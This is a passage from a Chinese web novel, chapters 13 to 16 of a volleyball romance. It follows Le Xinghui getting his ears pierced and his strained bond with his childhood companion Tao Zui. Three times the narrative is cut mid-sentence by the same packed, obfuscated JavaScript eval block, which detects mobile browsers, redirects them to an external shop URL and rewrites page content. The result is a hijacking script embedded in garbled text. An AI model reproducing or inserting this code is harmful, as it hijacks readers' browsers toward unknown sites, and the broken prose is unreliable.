刚刚才说完“有很多”,结果却不给陶最点餐的机会,麻辣烫便宜,乐星回钦点。陶最转笔的手停顿,麻辣烫餐单在他脑海里过了一遍,以前乐星回要请他吃饭最起码都是麦当劳起步,现在降级消费。 “再说吧。”陶最模棱两可地说,“先上课。” 不直接拒绝就是同意,乐星回再次钦点。老师在上面讲了什么,乐星回听得一知半解,写写画画记笔记,心里却把麻辣烫想了好几回。赵锐将这一切尽收眼底,挺想直接给陶最两拳。这叫什么?这叫欺负未成年。 你要是没那个心思就别逗乐乐了,小孩儿什么都当真。 “训练结束后我要请陶最吃麻辣烫。”果不其然,吃午饭的时候乐星回就开始和赵锐“报备”,“下午你和池哥在食堂吃吧!” “我怕抢不过那俩翅膀。”赵锐简单地看了一眼前方。萧池被方丰羽、方飞羽夹在中间,兄弟俩同时给他夹菜投喂。 “他们关系真好啊。”乐星回羡慕地看着。这已经是队内不争的事实,方家兄弟是池哥一手带大的,现在他们可照顾他。军训时洗澡他们仨都挤一个淋浴间。 “陶最要是也给我夹菜就好了。”乐星回喝着酸奶说。 赵锐放下筷子,手指头猛戳乐星回脑袋瓜:“你给我省省吧,陶最看着向什么好东西吗?二传手都不是好人,你别被他带歪了。” 乐星回错愕地连连点头,行吧,这句话好耳熟,果然每个二传手都这样想。 午休之后就全是训练,这也是乐星回高中时梦寐以求的作息。群里目前只有他、池哥和教练改了备注,他和池哥都在姓名后面加上了“主攻手”,宋忍教练的备注可能都不是他自己改的,叫“AAA二传批发老宋”。 全队除了池哥,都可以打二传,一上场满队都是大脑。乐星回第一次发觉二传手滞销的可怕性,首体那边就没这个顾虑。然而每每一想到首体那边的二传手,乐星回还是一身冷汗,那个二传可太厉害了,上场打球、下场打人,乐星回初中比赛经常被他的暴力扣杀闷到脑袋,下场掉眼泪。 现在镜子里的自己已经全副武装,乐星回在更衣室欣赏装备。 由于身材和体格的限制,乐星回的装备很多。他喜欢花里胡哨的护具,护腿要蓝色,长筒袜要白色,护臂要黄色。连髌骨下的保护带都要荧光粉,每次上场都像一只开屏的小孔雀。自然也有人看不惯他,总说他是“差生文具多”。 队服穿在身上,精神面貌一新。乐星回又给自己搭配了天蓝色的发带,在正式上场之前,他没有穿小背心。 小背心是陶最的叫法,是男士运动内衣。和女孩子那款没什么差别,形状一样,胸口是平的。别人都不穿,是乐星回太薄太容易被球的力量打透,从小到大他的小背心都是陶最来买,从后面帮他扣搭扣。 现在不需要了,我是大学生。乐星回对着镜子自我鼓励一番,拉开更衣室的门。 场上每个人都在热身,包括“批发老宋”。宋忍换上运动装和上午也不太一样,脖子上多了一枚哨子。乐星回直接扑向最近的薛礼和齐小池:“我来啦!” “嗯。”齐小池盘腿坐在地上,懒洋洋地眯着眼睛,伸手在乐星回脑袋上揉了揉。他不是不爱说话,而是一个节能型人类,除了打比赛和训练,齐小池的座右铭就是“生命在于休息”。能坐着他绝对不站,能趴着他直接躺平。 “嚯,我们乐乐今天多巴胺配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876746|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色。”薛礼黑不溜秋地蹲在旁边,嘴里叼着一根不知道从哪里摸来的狗尾巴草,“小主攻,明天准备怎么打?” “听教练的,我明天势必赢球。”乐星回蹭蹭这个又蹭蹭那个,大家都很让着他,他也雨露均沾。 排球场就在他们面前,球网在中间,两边是3米乘以3米的正方形。离球网3米的地方有一条白线,叫三米进攻线,它将9平米的正方形分成了前、后场。每一次比赛,每一支队伍只能同时上6个人,乐星回眼前的9平米就是他愿意为之奋斗30年的小天地。 陶最当年拉着他的手,从一扇扇上课的教室门外走过,最终推开了一扇名为“排球”的门,带他进入了这个世界。 新官上任的副队长陶最正在点球,身后是一个巨大的球筐,装着几十个蓝黄相间的排球。北体有家底儿,给他们训练用球都是米卡萨,只不过不是v200,而是v300。两个型号都是国际排联官方标准用球,v300是单凹槽,多用于训练和比赛,v200是双凹槽,是大赛用球。 价格自然也不同,一颗排球差着几百块钱。一筐排球就是大几万,但依照专业训练的强度也用不了多久。 “嗯,60颗。”陶最在取球单上签了自己的名字。取多少颗,训练完毕还回去多少,避免丢失和占便宜。这一套流程走完,陶最走向宋教练,无意间瞥了一眼在地上和薛礼一起打滚儿的乐星回。 陶最看了几秒,看向乐星回敞开的领口,眉毛不自觉地皱了起来。 乐星回是小孩儿心性,薛礼从小上树下河,总能带着他玩儿不一样的。下午的训练内容主要是基本功和热身,宋教练安排明天的首发阵容。乐星回小主攻,萧池大主攻,赵锐打二传,陶最接应。韦星火自由人,方丰羽、方飞宇都是副攻手。薛礼和齐小池待定,队伍慢慢试着来。 等6小时训练结束,乐星回觉得还成,不穿小背心也没累成什么样。只是全身脏得不行,特别是两只手,如果外行想分辨一个人是打什么球的,手最脏的就是排球。他们打排球的每个都是“黑手”。 想着一会儿请陶最吃饭,乐星回洗澡都洗得格外快,然而等到他从淋浴间冲回更衣室,赵锐靠着柜门,语气是早有预料:“别找了,人家走了。” “走了?他没洗澡吗?”乐星回顶着毛巾。 “没洗,也不知道上哪儿洗去了,直接走的。”赵锐一胳膊勾住摇摇晃晃的乐星回,“早跟你说了,陶最说话根本不能听,他不靠谱。别不高兴了,我请你吃饭怎么样?” 真的走了吗?又把自己丢下了?乐星回茫然地点了点头。 “吃完饭你陪我去看看纹身?我想把我闺女纹在身上。”赵锐极度思念他的爱女雪纳瑞,“纹身店还能扎耳洞,我挺好奇。” “不行,陶最以前说不让我搞这些。染头、耳洞、纹身,他都不让我干。我要是去了他会说我。”乐星回像吞了一个柠檬,一眼看不住人又无影无踪。他宁愿脏脏地跑了也不愿意吃麻辣烫。 “可是你染头了他也没说什么啊,他有什么资格管你?”赵锐试图把乐星回拉出泥沼。 乐星回拿下毛巾,头发还湿着,发梢滴滴答答的水是柠檬汁。也对,自己不是小孩子,用不着陶最管这管那,大学生可以自己做主。一个更加大胆的念头在此刻酝酿,乐星回决心要给陶最一个下马威。 他要打耳洞,宣告他不需要陶最这把保护伞了。 14.长大了啊 头发吹干了才出去,乐星回也怕再感冒。 他低头系鞋带,说来惭愧,上了初中才学会如何把鞋带系紧。小学大大小小细节都是陶最包办,乐星回空着手上学,空着手回家,连书包都不用自己拿。现在他跟上赵锐的步伐,地面上连影子都不一样长,乐星回本想忘掉陶最的一切,又忽然想起他咬着烟的侧脸。他在雨帘里抽烟,世界的喧哗染不到他的情绪里。 “锐子,我和你说件事。”乐星回堵得慌。 脚步轻快,心里却沉重,陶最给他心脏里种了种子,种子膨胀开生根发芽,遇上雨季就变成了通天的豌豆。赵锐放慢速度:“又是陶最的事?” “他抽烟了。”乐星回语气沉沉。 “他抽烟多正常,他不干点坏事我才觉得稀罕。”赵锐看着乐星回的排球鞋。运动员就没有不少钱的地方,一双排球鞋700块往上,自然是越贵越好,1500都是标配。 款式差不多,性能却天差地别。乐乐从来都穿攻手款。排球上场6个人,除了后排轮替的自由人和二传,其余的全是攻手位置。现在就连二传都在逐渐往进攻端改变,可以见得乐星回的决心。 他是铁了心不打自由人啊! “可是,他抽烟的时候特别寂寞……”乐星回又仿佛看到了那一幕。 赵锐停下来,眼瞅着这位没法叫醒的酣睡宝宝:“别心疼你哥了,心疼心疼自己好不好?他在外面自己住,逍遥自在着,说不定带回去的人就没断过……” “可是你怎么知道他带回去的人没断过呢?”乐星回跟失忆了一样。 赵锐气笑了,从他审美观点看过去,乐星回绝对算不上一张平淡无奇的面容。他只是太矮小单薄,才180,显得他可可爱爱没脑袋。实际上乐乐挺帅气的,眉毛和睫毛存在感极高,小肉嘴唇,还有一个唇珠。这样的孩子到底吃了陶最什么迷魂药? “他带人回去这不是你告诉我的吗?”赵锐反问他。 乐星回拽了拽背包带,带子勒出肩膀红印:“是吗?”他完全想不起来,直接忽略了自己折腾起来就叭叭不停的毛病。一琢磨起来就停不下来,全给赵锐嘀咕出去了。 “可能他也没带过吧……”乐星回又往回找补。 “别琢磨你哥了,琢磨琢磨我,帮我挑个好地方。”赵锐在他后腰轻轻一推,走人。 大学生的世界再次对乐星回展开,上大学之前他从不知道花花世界和自由活动是什么滋味。他们时间紧迫且有限,早起晨练,午休加练,下午放弃两节文化课搞专业。高三体考之前,每个人都晒成黢黑。乐星回怀疑薛礼就是那时候晒的,没缓过来,军训又接着暴晒。 别说纹身店铺,乐星回连刺身店铺都不怎么进。进了小店他又变成第一次出去喝酒的模样,紧跟着熟人,心里暗自鼓励着,没关系,这就是成年人的世界。你不是一直想当大人吗? 等纹身店老板出来,乐星回装作神色如常。“锐子,你真要纹吗?你不怕宋教练说你?”话音刚落,乐星回找回了理智,宋教练没人害怕,“学校规定你也不遵守吗?比赛被人发现了怎么办?” “问题就是没规定啊。我将来又不考公务员。”赵锐知道他胆量小,“我闺女都十几岁了,我想把它的样子带身上。胳膊上怎么样?” “比赛被拍到怎么办?”乐星回惴惴不安。 “我可以戴护臂,你忘啦?咱们比赛都戴,能拍到才怪!”赵锐只当他们小主攻是吓傻了。上场不是护臂就是护腿,严严实实拍什么?就算拍到了又能怎样,又没杀人放火,我纹个狗不行? 乐星回见劝不动,便不劝了,帮忙选地方。今天还纹不了,赵锐拿出雪纳瑞的照片和老板沟通细节,要先定画像。为了增加可爱度,赵锐还让乐星回帮他选一个花纹半框。乐星回一边选,一边打量着来来往往的纹身男女,不知怎么也鼓起了勇气。 “咱们这里可以穿孔吗?”乐星回小声问。 老板抬头和他目光相对:“你想穿哪儿?” “能穿哪儿?”乐星回迈出一步就收不回来,勇气也膨胀开。他爬上了那棵豌豆,虽然崎岖但一路通天,乐星回飞快地爬,爬到了成年人的云层之上。 “哪儿都行,我们有专业的穿孔师。”老板对这一头小粉毛见怪不怪,新锐人类特立独行,这是刚刚入门的小菜鸟。乐星回小心翼翼地踩在云层上,云朵都变成了冰层,稍不注意就咔嚓断裂。 “那好,我要穿两个耳洞。”乐星回变成了拦不住的那个人。 突然要扎耳洞,赵锐刚才自己行为大胆,现在却劝乐星回谨慎。无奈乐星回决意已定,谁也无法改变,赵锐只好无奈地拽着他:“你乱扎什么?万一感染了呢?” “我会上药,而且我不是疤痕体质。”乐星回鼓足勇气站起来。 “你才180你能会上什么药?”赵锐低头说。 准备去拿二维码的175老板和178穿孔师刚好路过,用挑衅的目光看向赵锐。怎么着哥们儿,你是踢馆来了? “不好意思不好意思,我对这方面没有歧视,我是说他。”赵锐赶紧摆摆手,在正常人世界里乐星回比他们都高,比屋子里的纹身师也高,是第二高。但谁让他们打排球的都不正常呢。 乐星回摇摇头,两个耳朵像被空气墙堵住,怎么说都听不下去。 扎耳洞在隔壁房间,有消毒药水和消毒灯,工具都是从消毒柜里拿。乐星回坐在灯下,双手攥拳放在大腿上,呼气的时候松开,一吸气又攥紧。灯光给他鼻梁骨加了一层高光,鼻尖那一块格外光润,乐星回等了好半天,问:“疼吗?” “不疼。”穿孔师看着年龄也不大,“我干这行都4年了,穿过的孔比你吃过的米饭还多。” “怎么可能……”乐星回故意没让锐子进屋陪,就是怕他看到自己蔫儿的这一刻。穿孔师用夹子固定了他的耳垂,拿镜子过来给他照,两个人沟通了穿孔位置。乐星回耳朵小,不能打太低,刚好在中间位置。 “现在打了吗?”等夹子一样的剪刀收紧时,乐星回闭上眼睛。 穿孔师直笑:“固定呢,穿孔针我刚拿出来。你放心吧,耳垂是最不疼的地方,我穿过很多稀有位置,什么眉毛、耳骨、锁骨,舌头上、嘴唇上、鼻子上。还有更夸张的人体艺术,专门挑疼的地方穿孔。也有男生搞情趣,在小弟弟上穿……” 小弟弟?小弟弟穿上,小弟弟不会死了吗?乐星回惊讶的功夫,耳朵好似被人狠狠一捏,有什么东西过去了! “你瞧,不疼吧?”纹身师手里的针已经过去,转移思维可是他的拿手好戏。 “……真的不疼,就是……胀,好热,耳朵烧起来了。”乐星回兴奋地点点头,睁开了眼睛。 有了一次经验,右耳简直如鱼得水,乐星回和人家聊着天就穿完了。两个耳洞100块,还送一副纯银小耳钉,乐星回站在豌豆最高处往下看,世界在他眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881150|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得不同,他像长高了一样。离开纹身店,手里多了一张纸,都是注意事项,乐星回的心脏仿佛也被打了一个孔,吹了个痛快的穿堂风,过瘾! “这一周你注意点儿吧,千万别发炎。”赵锐自觉“罪孽深重”。 “我会忌口,洗澡的时候会戴耳罩。”乐星回摇摇小袋子,纹身师还送他50对一次性塑料耳罩。他迫不及待想亮给世界看看,也要给陶最看。你不在我身边的时候我还是静悄悄地长大了。 可是晚上直到熄灯,陶最的床还空着。 乐星回趴在枕头上,一条小腿搭在栏杆外,脚丫子摇晃:“锐子,池哥呢?池哥怎么不回来?” “刚刚被俩翅膀叫走了,3个人应该一起洗衣服呢。”赵锐在想狗,“唉,我女儿身体不好。” “那……”那我哥为什么还不回来?乐星回没好意思问,索性拉上床帘,拿出小手机给宋锐打电话。宋锐接得倒是很快,先一声笑:“你又干嘛?” “你是不是和陶最在一起呢?”乐星回轻声问。 “小朋友,你的问题也太猎奇了吧?你怎么那么关心他?”宋锐像说悄悄话,“陶最都成年人了,他有自己的私人生活,你在这样闹他跑得更快。” “跑?”乐星回顿时疑惑,甚至是疑惑到生疑。他从未想过这样神奇的词会用在自己和陶最的关系上,陶最居然是被自己给逼迫跑了? “小时候再亲密的兄弟俩也有各自长大分开的那天,你们又不是小孩子了。哈哈,早点睡吧。”宋锐说完就挂。这毛病和陶最一模一样,乐星回死心塌地地琢磨,他怀疑陶最喜欢和宋锐在一起聊天,是因为他们才是同一种人。但这种死心塌地又回转到自己身上,乐星回被刚刚的“跑”震撼到了。 他好不容易长大的豌豆通天塔被宋锐轻易地拆解,一片叶子、一片叶子往下剥落,站在上面摇晃不易,支离破碎。耳朵不疼也不热了,但乐星回高涨的兴致也落下帷幕。他怀疑是队友们对他太好,让他坚信“爱情”的样子也是慈眉善目,实际上的“爱情”是扎耳洞。 宿舍关了灯,池哥还没回来,乐星回捂住肚子,扎耳洞真的好疼啊。 说来奇怪,身为一名自律的运动员,乐星回没有严格的生物钟。 他喜欢睡懒觉,也总是睡懒觉,夏训、冬训都是最慢的那个。可这次的清醒却像异军突起,乐星回睁开眼睛,只听到翻东西的声音。他拉开床帘,从私人领域看向大众领域,消失一夜的陶最回来了,就站在屋里,在他衣柜的正前方。幽灵一样的人,不为任何人停留,像没消失过,也像没存在过。 乐星回下了床,径直走到他背后。池哥和锐子都在睡觉,天都没亮,连长跑队的牲口们都没醒。他捅了捅陶最的后腰,手指戳入坚实的腰肌,陶最正在收拾衣服,黑T恤、白T恤、灰T恤,一件件,一层层,给乐星回铸造了一个万花筒,眼花缭乱的结果是自投罗网。 “怎么了?”陶最没事人一样回头。 “你干什么去了?”乐星回不想这么委屈,“说好了一起吃麻辣烫,你……” 陶最的身子刚转回一半,卡住一刹那,停顿后转回来,用冰冷虎口卡住乐星回的尖下巴,把耳朵冲向自己。婴儿肥快要褪去,这张脸在迅速发育、抽芽,从前不明显的眼窝也在飞速陷落,眉骨添砖增瓦般盖着,颧骨上皮肤厚度在削减。 他即将成熟。 “长大了啊。”陶最瞳孔正中心刚好是耳钉。 15.亲弟弟 下巴上不疼,是乐星回的心在酸。 “我昨天扎的。”乐星回沉痛地想,陶最他再一次不解释,每一回消失都像一场默剧。他是没有台词的演员,自己是拼命想要看懂他的观众。或许别人能看懂陶最透明的字幕,但肯定不是自己。 “去哪儿扎的?卫生么?”陶最的声音特别低,先是看看左耳,又是看看右耳,“谁带你去的?”停顿在右耳上,反复对比,目光变成一把度量衡尺,计算两个耳钉是不是一样高,水平线抵达左耳,陶最又给脸扳正,“多少钱?” 乐星回的脸在他掌中,像北京欢乐谷卖的小气球,陶最捏住气嘴儿,一松手指,整张脸会委屈难受地瘪下去。“你怎么不问问我疼不疼?你真是混蛋。” “哈哈。”陶最只有笑的气息,却没有声音,“好吧,疼不疼?” 更委屈了。乐星回很难告诉陶最这两者的区别,主动问和被动问是两码事,自己要来的关心一文不值。陶最像很有兴致,离近了看,离近那几秒里乐星回仿佛被风吹了一层。 “你去哪儿了?”乐星回动了动肩膀,拒绝陶最的观察,“你能不能和我说实话?” “这个问题对你很重要么?”陶最正了正身子。 窗帘外的天很快要亮起来,隔着一层布料,天空渲染了一层不通透的颜色,有橘、蓝、绿、黄。等太阳升起来,所有的不通透霎时变得通透,乐星回在灰蒙蒙里点头,等待自己的世界也变得通透。说白了,他什么都明白,陶最有义务和自己汇报吗?没有。但乐星回非要这太阳升起来,给两人的关系照得闪闪发亮。 “很重要。”乐星回的双眼皮簌簌眨动。 刚好,一条光线穿过窗帘,斜杠般倒在陶最的鼻梁上,贝多芬在陶最的鼻梁骨弹了月光奏鸣曲,留下一块碎冰当音符。乐星回大胆说:“我不喜欢你骗我,敷衍我,把我当小孩儿。我需要的是你明确性的回答。” 陶最的表情像个谜,说话却是谜底:“我回自己家了。” “你租的那个房子吗?”乐星回不想和他玩海龟汤,“几居室?” “两居室,使用面积90平,不算公摊,租约一口气签了5年。怎么,你没从宋锐嘴里问出来?”陶最又把他的脸掰过去,“你耳朵肿了你知道么?” “有宿舍不住,回去干吗?有人等着你回去吗?”乐星回趁着大家没起床问。 “没人,我回去住住,拿衣服。”陶最痛快地说,“赵锐带你去扎的吧?” “你不是有队服吗?穿训练服还不行?非要回去拿。”乐星回也跳过他的问题,其人之道还治其人之身,兔子急了咬人,“在排球场都是脏脏臭臭的,你打扮给谁看啊,你又不臭美。” “我怎么不臭美了?”陶最指了指乐星回心口处的箭头。 T恤被乐星回当作大睡衣来穿,底下可光着,连睡裤都用不上。乐星回摸了摸箭头,肆无忌惮地问:“那你现在还是处男吗?” 陶最的表情顿时变得很复杂。乐星回则认为这个问题非常伟大,直指要害:“你不能骗我。” “这个问题要辩证来看,我想想……”陶最仿佛在回忆什么。 乐星回快变成红眼兔子,陶最不会在回忆他的第一次吧?索性他打断了陶最的回忆进程,悄悄地宣布:“反正我算是长大了,以后不用你管。现在我还有最后一个问题……你觉得好看吗?” “挺好看的。”陶最点点头说,“就是需要注意卫生。还有……你是不是没考虑过打球?” 乐星回考虑到了,表情写得明明白白:“打排球用手,又不用耳朵接球。” 陶最信手拈来给他理了理头发:“那你要是被打哭了,可别找我?” “我才不哭,你才哭,你就等着哭吧。”乐星回骄傲地抬了下脑袋,一声哨响,吹开了体育生的早练。时间一到他们就必须下楼集合,床铺来不及收拾。楼梯上噗噗震着脚步声,各式各样的专项鞋集体开大会。 在北体这个地方,可以见到全世界最顶尖的长跑鞋、短跑鞋、跳高鞋、钉子鞋……术业有专攻,女生男生们的身材也是项目天赋之一。只需要往北体的训练场转转,不用眼睛看,耳朵听,都能分辨出哪个人属于哪一派。排球队按照身高站队,打头阵是203的萧池,后面是202的李飞鸾,刚好200的陶最。 后面是190梯队,方丰羽199,方飞羽198,薛礼197,齐小池196,赵锐195。 再往后是一个裂谷般的断层,韦星火186,后面的乐星回很迷你,跑起来根本看不见他人。 最后面是主教练宋忍,跑步结束后是技巧性训练,弓步跳、开合跳、往返跑,他手里拿着秒表和成绩单,把孩子们的体能量化,关注到乐星回这边时微微停顿,眉头像个电源开关,咔吧,打开了,咔吧,又关上。 乐星回的数据非常好。 军训时看不太出来,因为排球专业不像那些武状元,有个人展示的属性,每个人的身体素质都是开盲盒,只能依靠高三全国性体考分数。然而这个分数在北体、首体这种学府又不能完全做参考,水平线很高,大家都是超线录取上的。换言之,身体不行根本进不来。 乐星回的短板太明显,但优势也很明显,挺全能的一个小孩儿。宋忍顿时联想到国际上那几个比较出名的“矮个儿”主攻手,195左右,他们也是全能型。他就说嘛,学校既然录取肯定有闪光点,能上的没有一个孬种。 训练结束后才是正经起床时间,大学生们陆陆续续地醒来了。 早练结束的大部队再浩浩荡荡往宿舍楼转移,到了这时候,队友们纷纷发现乐星回的耳钉,像看着小玩具也拥有了一件小玩具一样。只不过谁都不敢碰,乐星回的耳朵还有点红。 “昨天晚上我就想问了,你洗澡洗头怎么办?”萧池永远从最实际的问题出发。体校可没人干这个,大家每天啃着馒头就练上了,风里来雨里去。也就是上了大学,萧池才有一种从原始弱肉强食丛林进入现代文明社会的感悟。 “我有耳罩,戴着洗。”乐星回不给队友找麻烦,“大家放心,肯定不耽误咱们比赛!” “这样,你想洗头的时候叫我,我拿洗脸盆打热水,在屋里就给你洗了。”萧池还是不怎么放心,这耳罩能管用吗? 乐星回被照顾到,暖融融地绽放了:“池哥,你怎么什么都会?” 萧池红透一张脸:“在体校什么都是自己将就,我们都这样。” 乐星回唉声叹气几秒钟,陶最要是有池哥百分之一的温柔就好了。等叠被子的时候,乐星回马马虎虎卷了卷它,完成了一个瑞士卷,蹦下床找赵锐一起吃早饭,故意冷落了陶最。 上午文化课,下午先上两小时的技术性训练,休息1小时,紧跟着就是训练赛。虽然是训练赛,可每个细节都百分百复制正式比赛,连观众都有。看台上的人自然就是校友了,北体的比赛琳琅满目,要是时间安排合理,一天能看好几场。 夏天的傍晚本来就属于体育运动。乐星回深信不疑。 上场要穿黑色那套,乐星回在更衣室换好它。主攻手挥臂姿势较多,所以他特意选择了无袖款式,背心一样套在身上。又因为主攻手在后排还有接一传的使命,乐星回又戴上了长袖护臂。黑色护臂从大臂勒到小臂,L码的背心勾勒着他千锤百炼的小肌群,麻雀虽小肝胆俱全,别人有的肌肉,他一块不少。 只不过比人家的小点儿。 可是,排球比赛又不是大块头对抗,谁说180不能主攻呢?乐星回仍旧深信不疑。 等陶最推开更衣间的门时,乐星回正在帮赵锐戴护腿:“你别动,你这个护腿好紧。” “不紧没用啊,再给我往上拽拽。”赵锐今天负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885936|191890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责二传,“可惜啊,你不站我左边了。” 二传手只有一个,排球有着固定且不能打破的站位,大主攻必定在二传手左侧,大副攻必定在二传手的右侧。从前乐星回正经八百打主攻手,和赵锐亲密无间,默契非常。现在他是小主攻,和自己隔着一个副攻。 “没关系啊,你还是可以给我传球,以前怎么打,今天就怎么打,别忘了咱们热血沸腾的组合技!光是咱俩的配合就足够亮眼,肯定让他们大吃一惊!”乐星回拍拍膝盖站起来,“陶最?” 陶最他也不吭声,斜倚着门框看他们,把对话听了个一清二楚:“打扰你们二人世界了么?” “打扰了。”赵锐不带犹豫。按照他对陶最的了解,下一句话肯定是“哦,那我走了,你们继续”。 “你带他去扎耳洞?”没想到陶最没走。 赵锐马上看乐星回,你瞧瞧,你瞧瞧,和我没关系的事,现在全队都以为我鼓动你扎耳洞。“对,我带乐乐去的,怎么了?” “有卫生资格证么?”陶最也换好了队服,右腿全覆盖式护腿,两手臂半袖,中指和食指上黑色肌贴。乐星回心跳加速,明明大家的队服都一样,凭什么陶最穿上更好看?像一袭夜行衣的刺客,能隐入黑暗当中。手臂肌肉也比自己练得好。 刺客走到他旁边,又往他领口里灌了几眼。 乐星回没躲,我现在才不穿小背心。 “我又不会害他,肯定不会带他去不干净的地方。”赵锐心想你别管。 “那就好。”陶最笑了笑,又看乐星回,“走吧,咱们出去见几个朋友。” “什么朋友?你在北体还有朋友?”乐星回抬头看他,问号挂在眼梢上。陶最不费力地低头看他:“我哥的同学,以后有事能照顾上。” 能照顾上谁?你吗?乐星回认定陶最不需要别人的助人为乐,但大概率那些人会看训练赛,所以还是见见。只不过刚刚离开更衣室,他的注意力就被另外一个熟人夺走,宋锐来了。 乐星回没和陶最打招呼,连猫着腰都不用,在人群中溜走,奔着宋锐去。他有时候挺喜欢宋锐,有时候又挺怕,只不过这怕不是惧怕,是不明不白的担忧。他哥属于不交朋友的人,小时候乐星回认为陶最的人生里只有自己,别人都是外人。小最哥不可能也不应该和别人交好,事实上他很长一段时间是这样。 然后宋锐出现了。 宋锐是另类,他不打排球,却仍旧和陶最有话说。他们的友谊让乐星回嫉妒且惊讶,也插不进话,他那时候太小了,听不懂他们谈论的话题,那是大孩子的世界吧?他是陶最孤独世界里的一个特殊的人证,能证明陶最不是什么社交障碍。 也间接性证明陶最不会围着自己转。 “你怎么来了?”乐星回走到宋锐旁边。 “来看你们比赛啊,你哥告诉我的。”宋锐带着几瓶饮料,淡蓝色的薄荷汽水、浅粉色的乌龙白桃、鲜红色的冰镇西瓜,他单手拎着给了乐星回,“怎么了又?苦着小脸?” 乐星回没有接过他的饮料。 “你哥呢?”宋锐直接牵起他一只手,把饮料塞给他,“他又跑了?” “没跑,陶最他才不跑。”什么都回忆起来了,乐星回想起他第一次见宋锐。 那也是一个夏天,陶最拉着他,然后宋锐就来了。他站在自己和陶最的中间,陶最说:“他叫宋锐。”又回头介绍,“他叫乐星回,小名叫屁屁,你叫他乐乐。”一整段说完,宋锐问:“他是谁啊?”陶最很清晰地说:“他是我弟弟。” “是亲弟弟啊?”宋锐惊讶地一跳。 乐星回攥着陶最的手指头,手上黏糊糊,全是刚才不小心攥融化的大白兔奶糖。奶糖将他和陶最粘在一起,陶最的话让乐星回高兴了好几年。 “是亲弟弟,我亲生的弟弟。”陶最被乐星回黏住了。 16.晨光GP1008 就是因为陶最把自己当亲弟弟了,他才会那么讨厌自己的告白吧? 乐星回后来也问过宋锐这个问题,如果我和陶最不是一起长大,或者他没把自己当亲弟弟,会不会就同意了呢? 宋锐当时的表情直到现在乐星回都忘不掉,仿佛光是听听就忍不住发笑,更别提和乐星回探讨关于“爱情”和“亲弟弟”之间的可能性。宋锐那时候高三,穿着和陶最一模一样的高中校服,用着一支即将见底的晨光圆珠笔。乐星回认识这种笔,型号是GP1008,陶最专门用这个。他对别人的事情都漠不关心,对自己的事情挑剔又精细。 “你就没想过,其实陶最他不是不喜欢你,他是根本不喜欢男的?”宋锐只用一句话就给乐星回问住了。 乐星回摇摇头,他只能瞥见自己爱情的一角,也拆不开陶最的爱情面纱。陶最对于他是一个歪七扭八的魔方,扭一扭,泡一泡,舔一舔,肯定能四面八方归于同色。魔方咔哒、咔哒旋转,乐星回拒绝认同宋锐,他从不考虑陶最只喜欢女生的可能。 现在,乐星回长长地呼出一口气:“你怎么来了?” “我说了来看看你们啊,你们不是打比赛嘛。”宋锐用脸指了指排球场的最右侧。乐星回和他错开几步,掂量着这句话背后的信息量,自己并没有通知宋锐,要通知他的人肯定是陶最。陶最会和他的好朋友怎么说?你要不要来看我的比赛?不,不是很重要的出场,只是大学开学后的一场训练赛。 你必须来啊,哈哈哈,挂了。 乐星回也“挂了”,和排球场人群融为一体:“是陶最让你来的?他什么时候告诉你的?” “昨天晚上啊。”宋锐见怪不怪,“你哥和那些人说什么呢?他们认识吧?手环挺不错的,你哥送的?” 昨天晚上陶最没回宿舍,但是却单独通知了宋锐。乐星回想了想,弯下腰,把宋锐买的饮料放在一张休息椅上,就算自己在撒哈拉大沙漠里走丢也不会碰它们,就算自己训练到极致,流汗流到全身电解质紊乱,也不碰。他不该这样想,宋锐对自己一直不错,从前他约陶最出去玩儿,陶最不管不顾地带着自己,连一声招呼都不打,拎着拖油瓶弟弟就去了,宋锐也没说过什么反对的话啊。 可随着年龄越来越大,乐星回也越来越敏感,小心眼的他总觉得宋锐有意无意再说什么隐藏的话语。再大一大,乐星回猜测自己的无端小心眼源自于对陶最的独占欲,是爱情把他变阴暗了。 为了不再阴暗,乐星回逃离了宋锐的身边,又一次回到陶最背后。陶最的状态再熟悉不过,像是在认真听,又像在走神,他对别人的关注力度就像晨光GP1008的笔水,写着写着,不知道什么时候就见底。 一靠近他,乐星回就感受到独属于他们的潮润。陶最听到他脚步声,回过头来,微微凝视了一下:“又跑哪儿去了?” “宋锐来了。”乐星回瞪着他,“他说你让他来看比赛。” 陶最的目光往看台上去了那么几秒,很快收回来。他抓着乐星回的肩膀,乐星回挣不开,被他半环绕式带到众人面前:“这是乐星回,小名叫乐乐。以后多多关照。” “你才叫乐乐。”乐星回想要大叫反驳,我马上18岁,你和别人介绍我的时候没必要加上小名。再说你也不叫我乐乐。 